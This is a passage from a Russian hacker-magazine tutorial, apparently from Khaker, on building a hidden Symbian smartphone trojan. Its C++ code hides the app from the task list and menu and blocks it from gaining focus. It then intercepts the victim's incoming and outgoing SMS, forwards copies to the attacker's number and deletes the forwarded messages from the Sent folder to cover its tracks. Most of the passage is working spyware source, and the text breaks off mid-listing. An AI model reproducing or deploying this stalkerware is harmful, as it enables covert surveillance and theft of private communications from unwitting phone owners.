Большой брат для мобилы Дмитрий «Zhir» Тарасов Хакер, номер #103, стр. 103-116-3 aWgName->SetHidden(ETrue); //Прячем приложение из контакт-листа aWgName->SetSystem(ETrue); } А в конструктор класса AppUI вписываются следующие строки: void CXaSMSAppUi::ConstructL() { BaseConstructL(); CEikonEnv::Static()->RootWin().EnableReceiptOfFocus(EFalse); //приложение никогда не может получить фокус CEikonEnv::Static()->RootWin().SetOrdinalPosition(-1000, ECoeWinPriorityNeverAtFront); ... } Это необходимо для того, чтобы приложение никогда не могло получить фокус, в том числе если жертва найдет в файловой системе исполняемый файл. Все, теперь приложение невидимо ни в тасклисте, ни в меню смартфона, и запустить его нельзя, даже кликая на исполняемый файл. Осталось только приделать автозапуск, используя разработку ezboot. Об этом мы уже неоднократно писали, советую посмотреть «Кодинг» сентябрьского, ноябрьского и декабрьского номеров «Хакера» и «Хакер Спец» за ноябрь. Перехват входящих и исходящих sms Механизм работы следующий: хакерская программа мониторит все входящие и исходящие sms и моментально отправляет их копии на номер хакера, удаляя их из папки «Отправленные». Для реализации этого функционала программисту надо будет сделать sms-движок, являющийся классом, унаследованным от MMsvSessionObserver. Называться этот движок будет, к примеру, CXaMegaFuck. Вид хидера класса представлен во врезке. Реализацию движка можно увидеть в проекте на диске. Особый интерес представляет метод HandleSessionEventL, поскольку именно он служит для отлова событий типа: «перемещение sms из одной папки в другую», «создание sms» и т.п. К примеру, отлов исходящего sms осуществляется очень просто. Когда sms отправляется, его копия всегда помещается сначала в папку «Исходящие», а после этого уже в папку «Отправленные». В HandleSessionEventL мы отлавливаем эти манипуляции следующим образом: Отлов исходящего sms void CXaMegaFuck::HandleSessionEventL(TMsvSessionEvent aEvent, TAny* aArg1, TAny* aArg2, TAny* aArg3) { switch (aEvent)//aEvent – событие сервера сообщений { case EMsvEntriesMoved: if((*static_cast<TMsvId*>(aArg3)==KMsvDraftEntryId)&&(*static_cast<TMsvId*>(aArg2)==KMsvSentEntryId))//если сообщение перемещено из черновиков в отправленные, значит, эту sms создал троян и его надо удалить { TRAPD(error,DeleteMessageL( KMsvSentEntryId )); if(error) { } } if((*static_cast<TMsvId*>(aArg3)==KMsvGlobalOutBoxIndexEntryId)&&(*static_cast<TMsvId*>(aArg2)==KMsvSentEntryId)&&(!iRunning))// если sms перемещено из папки «Исходящие» в папку «Отправленные», значит, sms отправил юзер и его надо получить { //составляем отправляемое хакеру сообщение CreateDraftSMSL(iAddress, aMessage); SendSMSL(); DeleteMessageL( KMsvSentEntryId ); } break; } } Код этот достаточно простой и не требует дополнительных комментариев. В результате его выполнения при отправке пользователем sms будет создана его копия вида: To:+79031111111 Текст сообщения Собственно текст сообщения формируется следующим образом: iSession->GetEntry((*entries)[entries->Count()-1],owningServiceId,messageEntry);//записываем хэндл сообщения в messageEntry |